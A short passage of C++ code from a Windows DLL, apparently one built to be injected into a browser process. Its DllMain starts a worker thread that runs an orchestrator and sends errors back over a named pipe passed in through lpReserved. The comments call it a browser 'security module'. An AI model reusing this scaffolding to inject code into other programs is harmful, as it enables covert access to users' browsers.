        orchestrator.Run();
    }
    catch (const std::exception& e)
    {
        try
        {
            // Attempt to log error through pipe if communication channel is available
            SecurityComponents::PipeLogger errorLogger(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
            if (errorLogger.isValid())
            {
                errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
            }
        }
        catch (...) {} // Failsafe error handling if logging subsystem fails
    }

    FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
    return 0;
}

// Security module entry point - initializes browser security analysis operations
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
    if (reason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);

        auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
        if (!params) return TRUE;

        HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
        if (hThread)
        {
            CloseHandle(hThread);
        }
        else
        {
            delete params;
        }
    }
    return TRUE;
}